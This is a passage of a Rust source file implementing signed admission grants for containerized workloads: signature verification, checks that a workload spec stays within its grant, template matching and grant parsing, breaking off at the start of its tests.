533            runtime,
534            host_network,
535            nested_sandbox,
536            workdir: workdir.pop(),
537            entrypoint,
538            argv,
539            env_names,
540            secrets,
541        })
542    }
543
544    /// Check that `spec` does not exceed what this grant describes.
545    ///
546    /// The comparison is deliberately asymmetric where asymmetry is safe: a spec
547    /// may request *less* privilege than the grant allows (host networking and
548    /// the nested sandbox are implications, not equalities), but the code it
549    /// runs must match exactly — modulo template holes.
550    ///
551    /// This is signature-independent: it answers "is this spec the thing the
552    /// grant describes", not "did anyone vouch for the grant". [`admit`]
553    /// composes the two in the right order.
554    pub fn covers(&self, spec: &WorkloadSpec) -> Result<(), AdmissionError> {
555        let actual_image = image_ref_string(&spec.image);
556        if actual_image != self.image {
557            return Err(AdmissionError::Mismatch {
558                field: "image",
559                detail: format!("grant admits {}, spec names {actual_image}", self.image),
560            });
561        }
562        if spec.tier.0 != self.tier {
563            return Err(AdmissionError::Mismatch {
564                field: "tier",
565                detail: format!("grant admits {:?}, spec declares {:?}", self.tier, spec.tier.0),
566            });
567        }
568
569        let actual_runtime = GrantRuntime::of_spec(spec);
570        if actual_runtime != self.runtime {
571            return Err(AdmissionError::Mismatch {
572                field: "runtime",
573                detail: format!(
574                    "grant admits {}, spec is {}",
575                    self.runtime.as_str(),
576                    actual_runtime.as_str()
577                ),
578            });
579        }
580
581        // Privilege widenings: implication, not equality. Asking for less than
582        // the grant allows is always fine.
583        if spec.wants_host_network() && !self.host_network {
584            return Err(AdmissionError::Mismatch {
585                field: "host-network",
586                detail: "spec requests the host network namespace; the grant does not admit it"
587                    .into(),
588            });
589        }
590        if spec.wants_nested_sandbox() && !self.nested_sandbox {
591            return Err(AdmissionError::Mismatch {
592                field: "nested-sandbox",
593                detail: "spec requests the nested-sandbox capability widening \
594                         (CAP_SETUID + CAP_SETGID, no_new_privs off); the grant does not admit it"
595                    .into(),
596            });
597        }
598
599        // Workdir is template-matched, not compared: a NATIVE forge's workdir is
600        // the per-run host produced dir (`…/qed/produced/<forge id>`), so an
601        // equality check would force a re-sign per dispatch. Present-vs-absent
602        // is still exact — a grant that names no workdir does not admit one.
603        let actual_workdir = spec
604            .workdir
605            .as_ref()
606            .map(|p| p.to_string_lossy().into_owned());
607        match (&self.workdir, &actual_workdir) {
608            (None, None) => {}
609            (Some(template), Some(actual)) if template_matches(template, actual) => {}
610            _ => {
611                return Err(AdmissionError::Mismatch {
612                    field: "workdir",
613                    detail: format!(
614                        "grant admits {:?}, spec declares {:?}",
615                        self.workdir, actual_workdir
616                    ),
617                })
618            }
619        }
620
621        templates_cover(
622            "entrypoint",
623            &self.entrypoint,
624            spec.entrypoint.as_deref().unwrap_or(&[]),
625        )?;
626        templates_cover("argv", &self.argv, spec.command.as_deref().unwrap_or(&[]))?;
627
628        // Env NAMES are the gate; values need no constraint because a name that
629        // is not admitted cannot be set at all. `LD_PRELOAD` is the shape of
630        // attack this closes.
631        let admitted: BTreeSet<&str> = self.env_names.iter().map(String::as_str).collect();
632        for env in &spec.env {
633            if !admitted.contains(env.name.as_str()) {
634                return Err(AdmissionError::Mismatch {
635                    field: "env",
636                    detail: format!(
637                        "spec sets {:?}, which the grant does not admit (admitted: {:?})",
638                        env.name, self.env_names
639                    ),
640                });
641            }
642            // A FromSecret VALUE is a selector, not a value: admitting the name
643            // `R2_TOKEN` would otherwise admit reading the cosign key through
644            // it. Refused rather than allow-listed because nothing implements
645            // env-target secret delivery end to end — see the module docs.
646            if let EnvValue::FromSecret { secret, .. } = &env.value {
647                return Err(AdmissionError::Mismatch {
648                    field: "env",
649                    detail: format!(
650                        "spec resolves {:?} from secret {secret:?}; env-target secret \
651                         delivery is not admissible — mount the secret as a file \
652                         (SecretTarget::File) and declare it in the grant",
653                        env.name
654                    ),
655                });
656            }
657            // FromMesh is yubaba's to fill in before deploy and each backend
658            // already rejects it unresolved. Named here so a grant author
659            // reading this list knows admission is not the layer that resolves.
660        }
661
662        // R555-F5: every credential the run may read, exactly. No template
663        // matching — a secret name is authored, not substituted per run.
664        for mount in &spec.secrets {
665            let Some(want) = GrantSecret::of_mount(mount) else {
666                return Err(AdmissionError::Mismatch {
667                    field: "secrets",
668                    detail: "spec mounts a secret as an environment variable; \
669                             env-target secret delivery is not admissible — use \
670                             SecretTarget::File"
671                        .into(),
672                });
673            };
674            if !self.secrets.contains(&want) {
675                return Err(AdmissionError::Mismatch {
676                    field: "secrets",
677                    detail: format!(
678                        "spec mounts {}, which the grant does not admit (admitted: [{}])",
679                        want.describe(),
680                        self.describe_secrets()
681                    ),
682                });
683            }
684        }
685
686        // Bind mounts are the one field the grant does not enumerate, because
687        // the produced-dir mount is per-run (`/var/lib/yah/qed/produced/<forge
688        // id>`) and would force a re-sign per dispatch. The structural rule
689        // R636-B1 already established covers it instead: a forge bind must live
690        // under the forge state root. Checked here rather than assumed, because
691        // an admitted spec that can bind `/` has not been admitted at all.
692        //
693        // The one exemption is yubaba's own rewrite of an admitted File secret
694        // (R555-F5) — recomputed, not trusted: same container path, the exact
695        // host path derived for THIS spec's ident, and read-only.
696        let ident = spec.expose.mesh.identity.0.as_str();
697        for volume in &spec.volumes {
698            if let VolumeSource::Bind { host_path } = &volume.source {
699                if crate::forge_state::is_forge_state_path(host_path) {
700                    continue;
701                }
702                if self.is_materialized_secret_bind(ident, host_path, volume) {
703                    continue;
704                }
705                return Err(AdmissionError::Mismatch {
706                    field: "volumes",
707                    detail: format!(
708                        "spec binds host path {} which is outside the forge state root {} \
709                         and is not a materialized mount of an admitted secret",
710                        host_path.display(),
711                        crate::forge_state::HOST_ROOT
712                    ),
713                });
714            }
715        }
716
717        Ok(())
718    }
719
720    /// Whether `volume` is the read-only bind yubaba injects when it
721    /// materializes one of this grant's own admitted `File` secrets for the
722    /// workload `ident`.
723    ///
724    /// Every input is recomputed from the spec and the grant; nothing about the
725    /// bind is taken on trust. In particular the `ident` component is why this
726    /// cannot be used to reach a sibling workload's secret dir, and the
727    /// read-only requirement is why it cannot be used to *write* one.
728    ///
729    /// The root is [`crate::secret_mount::HOST_ROOT`] rather than a parameter
730    /// because a verifier holds a spec and nothing else — it has no way to
731    /// learn a root the *writer* chose. Yubaba's root is overridable only by
732    /// `with_secret_paths`, which exists for tests. If that ever becomes a real
733    /// deployment knob, this stops matching and a granted secret is *refused*
734    /// rather than waved through, which is the direction to fail in.
735    fn is_materialized_secret_bind(
736        &self,
737        ident: &str,
738        host_path: &Path,
739        volume: &crate::VolumeMount,
740    ) -> bool {
741        if !volume.read_only {
742            return false;
743        }
744        self.secrets.iter().any(|s| {
745            s.path == volume.target
746                && crate::secret_mount::materialized_host_path(
747                    Path::new(crate::secret_mount::HOST_ROOT),
748                    ident,
749                    &s.path,
750                ) == host_path
751        })
752    }
753
754    /// The admitted credentials, for a refusal message.
755    pub fn describe_secrets(&self) -> String {
756        self.secrets
757            .iter()
758            .map(GrantSecret::describe)
759            .collect::<Vec<_>>()
760            .join(", ")
761    }
762}
763
764/// Attach a grant, its signature and its signing key to a spec's annotations.
765///
766/// The dispatcher's whole job: it does not compute or check anything, it
767/// carries three opaque strings the recipe author produced. Keeping it that way
768/// is what keeps the signing key off every machine that dispatches.
769pub fn attach(spec: &mut WorkloadSpec, grant: &str, signature: &str, public_key: &str) {
770    spec.annotations
771        .insert(GRANT_ANNOTATION.into(), grant.to_string());
772    spec.annotations
773        .insert(GRANT_SIGNATURE_ANNOTATION.into(), signature.to_string());
774    spec.annotations
775        .insert(GRANT_KEY_ANNOTATION.into(), public_key.to_string());
776}
777
778/// Whether a spec carries any admission annotation at all.
779///
780/// "Any", not "all": a spec with a grant and no signature is a tampering
781/// attempt or a broken dispatcher, and both must reach the error path rather
782/// than the treated-as-unsigned path.
783pub fn has_grant_annotations(spec: &WorkloadSpec) -> bool {
784    spec.annotations.contains_key(GRANT_ANNOTATION)
785        || spec.annotations.contains_key(GRANT_SIGNATURE_ANNOTATION)
786        || spec.annotations.contains_key(GRANT_KEY_ANNOTATION)
787}
788
789// ── template matching ────────────────────────────────────────────────────────
790
791fn templates_cover(
792    field: &'static str,
793    templates: &[String],
794    actual: &[String],
795) -> Result<(), AdmissionError> {
796    if templates.len() != actual.len() {
797        return Err(AdmissionError::Mismatch {
798            field,
799            detail: format!(
800                "grant admits {} element(s), spec has {}",
801                templates.len(),
802                actual.len()
803            ),
804        });
805    }
806    for (i, (template, got)) in templates.iter().zip(actual).enumerate() {
807        if !template_matches(template, got) {
808            return Err(AdmissionError::Mismatch {
809                field,
810                detail: format!("element {i}: {got:?} is not an instantiation of {template:?}"),
811            });
812        }
813    }
814    Ok(())
815}
816
817/// Whether `actual` is `template` with each `{{...}}` hole filled by a value
818/// [`hole_is_safe`] accepts.
819///
820/// Literal segments are matched left to right at the earliest position each
821/// occurs, which is well-defined for every template the recipe format can
822/// produce: holes are separated by author-written literals (`' '`, ` `, `/`),
823/// so the leftmost match is the intended one. A template with no holes degrades
824/// to string equality.
825pub fn template_matches(template: &str, actual: &str) -> bool {
826    let segments = literal_segments(template);
827    // No holes: exact match, nothing to constrain.
828    if segments.len() == 1 {
829        return template == actual;
830    }
831
832    let mut rest = actual;
833    let Some(first) = segments.first() else {
834        return false;
835    };
836    let Some(after_first) = rest.strip_prefix(first.as_str()) else {
837        return false;
838    };
839    rest = after_first;
840
841    for (i, segment) in segments.iter().enumerate().skip(1) {
842        let last = i == segments.len() - 1;
843        if last && segment.is_empty() {
844            // Template ends with a hole: everything left is its content.
845            return hole_is_safe(rest);
846        }
847        let Some(at) = rest.find(segment.as_str()) else {
848            return false;
849        };
850        if !hole_is_safe(&rest[..at]) {
851            return false;
852        }
853        rest = &rest[at + segment.len()..];
854    }
855    rest.is_empty()
856}
857
858/// Split a template into its literal segments — the text between `{{` … `}}`
859/// holes, with one segment before the first hole and one after the last. `n`
860/// holes yield `n + 1` segments, so `segments.len() == 1` means "no holes".
861///
862/// An unterminated `{{` is literal text, matching `substitute_argv`'s own rule
863/// (an unterminated placeholder is preserved verbatim, so a template that
864/// contains one is compared verbatim too).
865fn literal_segments(template: &str) -> Vec<String> {
866    let mut segments = Vec::new();
867    let mut current = String::new();
868    let mut rest = template;
869    while let Some(open) = rest.find("{{") {
870        let Some(close_rel) = rest[open + 2..].find("}}") else {
871            break;
872        };
873        current.push_str(&rest[..open]);
874        segments.push(std::mem::take(&mut current));
875        rest = &rest[open + 2 + close_rel + 2..];
876    }
877    current.push_str(rest);
878    segments.push(current);
879    segments
880}
881
882// ── verification ─────────────────────────────────────────────────────────────
883
884/// Verify the admission annotations on `spec` under `policy` and a pinned key
885/// set.
886///
887/// Order is cheapest-and-most-decisive first, mirroring
888/// `yah_plugin::verify_manifest`:
889///
890/// 1. **Is a grant required?** [`Policy::Required`], or the unconditional
891///    nested-sandbox exception (see the module docs).
892/// 2. **Is one present and complete?** A partial annotation set is an error, not
893///    an absence.
894/// 3. **Attribution** — the signing key must be one `trusted_keys` pins. An
895///    untrusted key can produce a valid signature; checking it first would be
896///    answering the wrong question.
897/// 4. **Signature** over the grant bytes, with `verify_strict`.
898/// 5. **Coverage** — [`AdmissionGrant::covers`].
899///
900/// A verifier with `Policy::Required` and an **empty** key set refuses
901/// everything: pinning nothing means trusting nothing, which is the fail-closed
902/// direction. That is deliberate, and it is the reason an operator flipping a
903/// node to `required` without configuring keys gets a loud outage rather than a
904/// quiet no-op gate.
905#[cfg(feature = "admission-verify")]
906pub fn admit(
907    spec: &WorkloadSpec,
908    policy: Policy,
909    trusted_keys: &[String],
910) -> Result<(), AdmissionError> {
911    admit_grant(spec, policy, trusted_keys).map(|_| ())
912}
913
914/// [`admit`], returning the grant it verified.
915///
916/// `Ok(None)` means "admitted, and there was no grant to read" — the permissive
917/// no-annotations path. `Ok(Some(grant))` hands back a document that has passed
918/// attribution, signature and coverage, which is the only form in which a
919/// caller may treat the recipe name inside it as an *identity*.
920///
921/// That distinction is the whole reason this variant exists: R555-F5 keys
922/// cluster-secret access on the signed recipe
923/// ([`SecretAccess::Recipes`](crate::secrets::SecretAccess::Recipes)) rather
924/// than on the workload name, because a forge workload's name is a fresh
925/// `forge-<uuid>` every run and therefore cannot appear in any allow-list
926/// written ahead of time. Reading `recipe` out of an *unverified* grant would
927/// make that allow-list bearer-authorized again — which is the exact hole R706
928/// closed for the workload case.
929#[cfg(feature = "admission-verify")]
930pub fn admit_grant(
931    spec: &WorkloadSpec,
932    policy: Policy,
933    trusted_keys: &[String],
934) -> Result<Option<AdmissionGrant>, AdmissionError> {
935    use ed25519_dalek::{Signature, VerifyingKey};
936
937    if policy == Policy::Disabled {
938        return Ok(None);
939    }
940
941    let present = has_grant_annotations(spec);
942    // The nested-sandbox widening is never granted un-admitted, whatever the
943    // node's policy — W235 §Reshaping's ordering constraint, enforced in code.
944    //
945    // Scoped to CONTAINER specs on purpose. The widening is an OCI capability
946    // set, and a native (fork+exec) workload has no OCI spec to apply it to, so
947    // a spec carrying both markers is asking for a privilege that cannot be
948    // granted — an incoherent spec, not a privileged one. Kamaji already refuses
949    // that pair with a message that says so (R577-T1 owns the refusal), and
950    // "not admitted" would be a strictly less informative answer to the same
951    // question. There is no privilege to protect here, so admission steps aside.
952    //
953    // R605-F8: a microVM workload is the same case for the same reason — it has
954    // no OCI spec either, and `validate_microvm_spec` owns the matching refusal.
955    // Note this arm is *not* a privilege relaxation: the guest has its own
956    // kernel, so a capability set inside it grants nothing on the host.
957    let widening =
958        spec.wants_nested_sandbox() && !spec.wants_native_exec() && !spec.wants_microvm();
959    let required = policy == Policy::Required || widening;
960
961    if !present {
962        return if required {
963            Err(AdmissionError::GrantRequired {
964                reason: if policy == Policy::Required {
965                    format!("this node runs {POLICY_ENV}=required")
966                } else {
967                    format!(
968                        "the workload requests the nested-sandbox widening (annotation {}={})",
969                        crate::NESTED_SANDBOX_ANNOTATION,
970                        crate::NESTED_SANDBOX_VALUE
971                    )
972                },
973            })
974        } else {
975            Ok(None)
976        };
977    }
978
979    let grant_text = spec
980        .annotations
981        .get(GRANT_ANNOTATION)
982        .ok_or(AdmissionError::Incomplete {
983            missing: GRANT_ANNOTATION,
984        })?;
985    let signature_hex =
986        spec.annotations
987            .get(GRANT_SIGNATURE_ANNOTATION)
988            .ok_or(AdmissionError::Incomplete {
989                missing: GRANT_SIGNATURE_ANNOTATION,
990            })?;
991    let key_hex = spec
992        .annotations
993        .get(GRANT_KEY_ANNOTATION)
994        .ok_or(AdmissionError::Incomplete {
995            missing: GRANT_KEY_ANNOTATION,
996        })?;
997
998    // 3. Attribution before crypto.
999    if !trusted_keys.iter().any(|k| k == key_hex) {
1000        return Err(AdmissionError::UntrustedKey {
1001            key: key_hex.clone(),
1002        });
1003    }
1004
1005    let key_bytes: [u8; 32] = hex::decode(key_hex)
1006        .ok()
1007        .and_then(|b| b.try_into().ok())
1008        .ok_or_else(|| AdmissionError::MalformedKey {
1009            reason: "expected 32 hex-encoded bytes".into(),
1010        })?;
1011    let verifying_key =
1012        VerifyingKey::from_bytes(&key_bytes).map_err(|e| AdmissionError::MalformedKey {
1013            reason: format!("not a valid Ed25519 point: {e}"),
1014        })?;
1015    let sig_bytes: [u8; 64] = hex::decode(signature_hex)
1016        .ok()
1017        .and_then(|b| b.try_into().ok())
1018        .ok_or_else(|| AdmissionError::MalformedSignature {
1019            reason: "expected 64 hex-encoded bytes".into(),
1020        })?;
1021
1022    verifying_key
1023        .verify_strict(grant_text.as_bytes(), &Signature::from_bytes(&sig_bytes))
1024        .map_err(|_| AdmissionError::SignatureMismatch)?;
1025
1026    // 5. Only now is the grant's content worth reading.
1027    let grant = AdmissionGrant::parse(grant_text)?;
1028    grant.covers(spec)?;
1029    Ok(Some(grant))
1030}
1031
1032/// The signing key that vouched for a spec's grant, as it appears in
1033/// [`GRANT_KEY_ANNOTATION`]. Meaningful only alongside a grant returned by
1034/// [`admit_grant`] — on its own it is an unverified assertion.
1035pub fn grant_key(spec: &WorkloadSpec) -> Option<&String> {
1036    spec.annotations.get(GRANT_KEY_ANNOTATION)
1037}
1038
1039/// The node's admission policy and pinned key set, read once from the
1040/// environment.
1041///
1042/// # Why this lives here rather than in kamaji
1043///
1044/// Two deployment shapes enforce admission — the standalone `kamaji.service`
1045/// (`kamaji-bin`) and the inlined `kamaji` library backends — and R592-T1 is on
1046/// record about what happens when those two grow their own copy of a shared
1047/// rule: they drift, and nobody notices until a node behaves differently from
1048/// the one next to it. This crate is the only thing both of them depend on
1049/// unconditionally, so the policy resolution lives here, resolved once per
1050/// process.
1051///
1052/// - `YAH_ADMISSION` — `disabled` | `permissive` | `required`. Unset means
1053///   [`Policy::Permissive`].
1054/// - `YAH_ADMISSION_KEYS` — comma-separated hex Ed25519 public keys. Unset
1055///   means none, which under `required` refuses everything.
1056///
1057/// **A malformed `YAH_ADMISSION` resolves to [`Policy::Required`]**, not to the
1058/// default. A typo in a security control must fail toward refusal; the
1059/// alternative is an operator who believes admission is on because they set the
1060/// variable, on a node that silently ignored it.
1061#[cfg(feature = "admission-verify")]
1062#[derive(Debug, Clone)]
1063pub struct NodeAdmission {
1064    /// How strictly this node enforces admission.
1065    pub policy: Policy,
1066    /// Hex Ed25519 public keys this node accepts grants from.
1067    pub trusted_keys: Vec<String>,
1068}
1069
1070#[cfg(feature = "admission-verify")]
1071static NODE_ADMISSION: std::sync::OnceLock<NodeAdmission> = std::sync::OnceLock::new();
1072
1073/// Environment variable naming this node's [`Policy`].
1074pub const POLICY_ENV: &str = "YAH_ADMISSION";
1075
1076/// Environment variable carrying this node's comma-separated pinned keys.
1077pub const KEYS_ENV: &str = "YAH_ADMISSION_KEYS";
1078
1079#[cfg(feature = "admission-verify")]
1080impl NodeAdmission {
1081    /// Resolve from the environment. Public for tests and for a node that wants
1082    /// to log its own posture at startup; [`check`] uses the cached form.
1083    pub fn from_env() -> Self {
1084        Self::from_vars(
1085            std::env::var(POLICY_ENV).ok().as_deref(),
1086            std::env::var(KEYS_ENV).ok().as_deref(),
1087        )
1088    }
1089
1090    /// The pure half of [`Self::from_env`], so the fail-closed-on-typo rule is
1091    /// testable without mutating process environment.
1092    pub fn from_vars(policy: Option<&str>, keys: Option<&str>) -> Self {
1093        let policy = match policy {
1094            None => Policy::default(),
1095            Some(raw) => Policy::parse(raw).unwrap_or_else(|e| {
1096                eprintln!(
1097                    "{POLICY_ENV}: {e}. Falling back to \"required\" — a misconfigured \
1098                     admission control must refuse, not open."
1099                );
1100                Policy::Required
1101            }),
1102        };
1103        let trusted_keys = keys
1104            .unwrap_or_default()
1105            .split(',')
1106            .map(str::trim)
1107            .filter(|k| !k.is_empty())
1108            .map(str::to_string)
1109            .collect();
1110        Self {
1111            policy,
1112            trusted_keys,
1113        }
1114    }
1115}
1116
1117/// Admit `spec` under this node's environment-resolved posture.
1118///
1119/// The one call every backend makes. See [`admit`] for the check order and
1120/// [`NodeAdmission`] for where the posture comes from.
1121#[cfg(feature = "admission-verify")]
1122pub fn check(spec: &WorkloadSpec) -> Result<(), AdmissionError> {
1123    check_grant(spec).map(|_| ())
1124}
1125
1126/// [`check`], returning the verified grant — see [`admit_grant`] for why a
1127/// caller would want it.
1128#[cfg(feature = "admission-verify")]
1129pub fn check_grant(spec: &WorkloadSpec) -> Result<Option<AdmissionGrant>, AdmissionError> {
1130    let node = NODE_ADMISSION.get_or_init(NodeAdmission::from_env);
1131    admit_grant(spec, node.policy, &node.trusted_keys)
1132}
1133
1134/// Sign an encoded grant, returning the hex signature to put in
1135/// [`GRANT_SIGNATURE_ANNOTATION`].
1136///
1137/// Lives beside [`admit`] on purpose: sign and verify must agree on the signed
1138/// bytes exactly, and the cheapest way to guarantee that is to give them no
1139/// opportunity to drift apart (`yah_plugin::sign_manifest` records the same
1140/// reasoning).
1141#[cfg(feature = "admission-verify")]
1142pub fn sign_grant(encoded_grant: &str, key: &ed25519_dalek::SigningKey) -> String {
1143    use ed25519_dalek::Signer;
1144    hex::encode(key.sign(encoded_grant.as_bytes()).to_bytes())
1145}
1146
1147// ── errors ───────────────────────────────────────────────────────────────────
1148
1149/// Why a grant document could not be read.
1150#[derive(Debug, Error, PartialEq, Eq)]
1151pub enum GrantError {
1152    #[error("admission grant does not open with {GRANT_MAGIC:?}")]
1153    BadMagic,
1154    #[error("admission grant: expected record {expected:?}, found {found:?}")]
1155    UnexpectedLabel { expected: &'static str, found: String },
1156    #[error("admission grant: record {label:?} is truncated or mis-lengthed")]
1157    Truncated { label: &'static str },
1158    #[error("admission grant: record {label:?} — {reason}")]
1159    BadValue { label: &'static str, reason: String },
1160    #[error("admission grant: {0} trailing byte(s) after the last record")]
1161    Trailing(usize),
1162}
1163
1164/// Why a workload was not admitted.
1165#[derive(Debug, Error, PartialEq, Eq)]
1166pub enum AdmissionError {
1167    #[error(
1168        "workload carries no admission grant and one is required: {reason}. \
1169         Sign the recipe with `cargo xtask recipe-sign` (W235 §(c) / R555-F4)."
1170    )]
1171    GrantRequired { reason: String },
1172    #[error(
1173        "workload carries a partial admission grant — annotation {missing:?} is absent. \
1174         All three of the grant, its signature and its key must travel together."
1175    )]
1176    Incomplete { missing: &'static str },
1177    #[error(
1178        "admission grant is signed by {key}, which this node does not trust. \
1179         Pinned keys come from the {KEYS_ENV} environment variable."
1180    )]
1181    UntrustedKey { key: String },
1182    #[error("admission grant public key is malformed: {reason}")]
1183    MalformedKey { reason: String },
1184    #[error("admission grant signature is malformed: {reason}")]
1185    MalformedSignature { reason: String },
1186    #[error("admission grant signature does not verify over the grant it accompanies")]
1187    SignatureMismatch,
1188    #[error("admission grant does not cover this workload's {field}: {detail}")]
1189    Mismatch { field: &'static str, detail: String },
1190    #[error(transparent)]
1191    Grant(#[from] GrantError),
1192}
1193
1194// ── encoding helpers ─────────────────────────────────────────────────────────
1195
1196fn bool_str(b: bool) -> &'static str {
1197    if b {
1198        "true"
1199    } else {
1200        "false"
1201    }
1202}
1203
1204fn record(out: &mut String, label: &str, value: &str) {
1205    out.push_str(label);
1206    out.push(' ');
1207    out.push_str(&value.len().to_string());
1208    out.push('\n');
1209    out.push_str(value);
1210    out.push('\n');
1211}
1212
1213fn list(out: &mut String, label: &str, items: &[String]) {
1214    // The count is itself a length-prefixed record, so the parser has exactly
1215    // one record shape to read and a list header cannot be confused with a
1216    // scalar of the same label.
1217    record(out, label, &items.len().to_string());
1218    let item_label = format!("{label}.item");
1219    for item in items {
1220        record(out, &item_label, item);
1221    }
1222}
1223
1224/// Lets `Option<String>` be encoded by the same counted-list record shape as a
1225/// genuine list, so the parser has one code path and the encoding stays
1226/// injective for the absent case.
1227trait AsSliceOfOne {
1228    fn as_slice_of_one(&self) -> &[String];
1229}
1230
1231impl AsSliceOfOne for Option<String> {
1232    fn as_slice_of_one(&self) -> &[String] {
1233        match self {
1234            Some(s) => std::slice::from_ref(s),
1235            None => &[],
1236        }
1237    }
1238}
1239
1240struct Cursor<'a> {
1241    rest: &'a str,
1242}
1243
1244impl<'a> Cursor<'a> {
1245    fn new(text: &'a str) -> Self {
1246        Self { rest: text }
1247    }
1248
1249    fn magic(&mut self) -> Result<(), GrantError> {
1250        let line = format!("{GRANT_MAGIC}\n");
1251        self.rest = self.rest.strip_prefix(&line).ok_or(GrantError::BadMagic)?;
1252        Ok(())
1253    }
1254
1255    /// Read one `<label> <len>\n<value>\n` record, checking the label.
1256    fn record(&mut self, label: &'static str) -> Result<String, GrantError> {
1257        let (header, after) = self
1258            .rest
1259            .split_once('\n')
1260            .ok_or(GrantError::Truncated { label })?;
1261        let (found, len) = header
1262            .split_once(' ')
1263            .ok_or(GrantError::Truncated { label })?;
1264        if found != label {
1265            return Err(GrantError::UnexpectedLabel {
1266                expected: label,
1267                found: found.to_string(),
1268            });
1269        }
1270        let len: usize = len.parse().map_err(|_| GrantError::BadValue {
1271            label,
1272            reason: format!("length {len:?} is not a number"),
1273        })?;
1274        // Byte-indexed slicing: reject a length that lands inside a multi-byte
1275        // character rather than panicking on a non-char-boundary slice.
1276        if after.len() < len + 1 || !after.is_char_boundary(len) {
1277            return Err(GrantError::Truncated { label });
1278        }
1279        let (value, tail) = after.split_at(len);
1280        self.rest = tail.strip_prefix('\n').ok_or(GrantError::Truncated { label })?;
1281        Ok(value.to_string())
1282    }
1283
1284    fn bool_record(&mut self, label: &'static str) -> Result<bool, GrantError> {
1285        match self.record(label)?.as_str() {
1286            "true" => Ok(true),
1287            "false" => Ok(false),
1288            other => Err(GrantError::BadValue {
1289                label,
1290                reason: format!("expected \"true\" or \"false\", got {other:?}"),
1291            }),
1292        }
1293    }
1294
1295    /// Read the counted `secret` block: a count record, then four records per
1296    /// entry. Strict in the same way [`Cursor::record`] is — an unknown source
1297    /// kind, a non-octal mode or a relative mount path is an error, never a
1298    /// guess, because every one of them would otherwise widen what the signer
1299    /// believed they authorized.
1300    fn secrets(&mut self) -> Result<Vec<GrantSecret>, GrantError> {
1301        let count: usize = self.record("secret")?.parse().map_err(|_| GrantError::BadValue {
1302            label: "secret",
1303            reason: "count is not a number".into(),
1304        })?;
1305        if count > self.rest.len() {
1306            return Err(GrantError::BadValue {
1307                label: "secret",
1308                reason: format!("count {count} exceeds the remaining document"),
1309            });
1310        }
1311        let mut out = Vec::with_capacity(count);
1312        for _ in 0..count {
1313            let kind = self.record("secret.source-kind")?;
1314            let value = self.record("secret.source")?;
1315            let source = match kind.as_str() {
1316                "cluster" => SecretRef::Cluster { name: value },
1317                "local-file" => SecretRef::LocalFile {
1318                    path: PathBuf::from(value),
1319                },
1320                other => {
1321                    return Err(GrantError::BadValue {
1322                        label: "secret.source-kind",
1323                        reason: format!("expected \"cluster\" or \"local-file\", got {other:?}"),
1324                    })
1325                }
1326            };
1327            let path = PathBuf::from(self.record("secret.path")?);
1328            if !path.is_absolute() {
1329                return Err(GrantError::BadValue {
1330                    label: "secret.path",
1331                    reason: format!("mount path {} is not absolute", path.display()),
1332                });
1333            }
1334            let mode_raw = self.record("secret.mode")?;
1335            let mode = u32::from_str_radix(&mode_raw, 8).map_err(|_| GrantError::BadValue {
1336                label: "secret.mode",
1337                reason: format!("{mode_raw:?} is not an octal file mode"),
1338            })?;
1339            out.push(GrantSecret { source, path, mode });
1340        }
1341        Ok(out)
1342    }
1343
1344    fn list(&mut self, label: &'static str) -> Result<Vec<String>, GrantError> {
1345        let count: usize = self.record(label)?.parse().map_err(|_| GrantError::BadValue {
1346            label,
1347            reason: "count is not a number".into(),
1348        })?;
1349        // A count larger than the remaining bytes can only be a malformed or
1350        // hostile document; refuse before allocating for it.
1351        if count > self.rest.len() {
1352            return Err(GrantError::BadValue {
1353                label,
1354                reason: format!("count {count} exceeds the remaining document"),
1355            });
1356        }
1357        // `record` takes a &'static str; the item label is derived, so this
1358        // leaks a small fixed set of strings (one per grant field) for the
1359        // process lifetime rather than per parse.
1360        let item_label: &'static str = match label {
1361            "workdir" => "workdir.item",
1362            "entrypoint" => "entrypoint.item",
1363            "argv" => "argv.item",
1364            "env-name" => "env-name.item",
1365            other => {
1366                return Err(GrantError::BadValue {
1367                    label,
1368                    reason: format!("{other:?} is not a list field"),
1369                })
1370            }
1371        };
1372        let mut items = Vec::with_capacity(count);
1373        for _ in 0..count {
1374            items.push(self.record(item_label)?);
1375        }
1376        Ok(items)
1377    }
1378
1379    fn end(&self) -> Result<(), GrantError> {
1380        if self.rest.is_empty() {
1381            Ok(())
1382        } else {
1383            Err(GrantError::Trailing(self.rest.len()))
1384        }
1385    }
1386}
1387
1388#[cfg(test)]
1389mod tests {
1390    use super::*;
1391    use crate::{EnvVar, ImageRef, MeshIdent, TierTag, VolumeMount};
1392    use std::path::PathBuf;
1393
1394    const IMAGE: &str = "ghcr.io/yah-ai/rusty-v8-musl-builder";
1395    const DIGEST: &str = "sha256:8f2a6c1d6937e85ad7a1554829fb7901a7d204ed81e9ce7a1b53ef8c1acc1b75";
1396
1397    fn image() -> ImageRef {
1398        ImageRef {
1399            registry: "ghcr.io".into(),
1400            repository: "yah-ai/rusty-v8-musl-builder".into(),
1401            tag: "v149.4.0".into(),
1402            digest: DIGEST.into(),
1403        }
1404    }
1405
1406    /// The shape `velveteen_exec::remote::build_workload_spec` produces for a
1407    /// remotely-placed recipe step: forge defaults + host networking + the
1408    /// per-run durable produced mount.
1409    pub(super) fn forge_spec(argv: &[&str]) -> WorkloadSpec {
1410        let mut spec = WorkloadSpec::for_forge("abc123", image(), TierTag("infra".into()), vec![]);
1411        spec.command = Some(argv.iter().map(|s| s.to_string()).collect());
1412        spec.volumes.push(crate::forge_produced::durable_mount("abc123"));
1413        spec.annotations.insert(
1414            crate::HOST_NETWORK_ANNOTATION.into(),
1415            crate::HOST_NETWORK_VALUE.into(),
1416        );
1417        spec
1418    }
1419
1420    /// The un-substituted spec a recipe author signs: same shape, argv holes
1421    /// intact.
1422    pub(super) fn template_spec() -> WorkloadSpec {
1423        forge_spec(&["build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'"])
1424    }
1425
1426    /// What the reconciler actually dispatches after `substitute_argv`.
1427    pub(super) fn dispatched_spec() -> WorkloadSpec {
1428        forge_spec(&[
1429            "build-v8.sh 'x86_64-unknown-linux-musl' '/yah/produced/deadbeef.out'",
1430        ])
1431    }
1432
1433    pub(super) fn grant() -> AdmissionGrant {
1434        AdmissionGrant::from_spec("rusty-v8-musl", &template_spec())
1435    }
1436
1437    // ── secret fixtures (R555-F5) ────────────────────────────────────────────
1438
1439    const R2_PATH: &str = "/run/yah/r2.json";
1440
1441    fn cluster_mount(name: &str, path: &str, mode: u32) -> SecretMount {
1442        SecretMount {
1443            source: SecretRef::Cluster { name: name.into() },
1444            target: SecretTarget::File {
1445                path: PathBuf::from(path),
1446                mode,
1447            },
1448        }
1449    }
1450
1451    /// A dispatched spec that declares one cluster secret, plus the grant cut
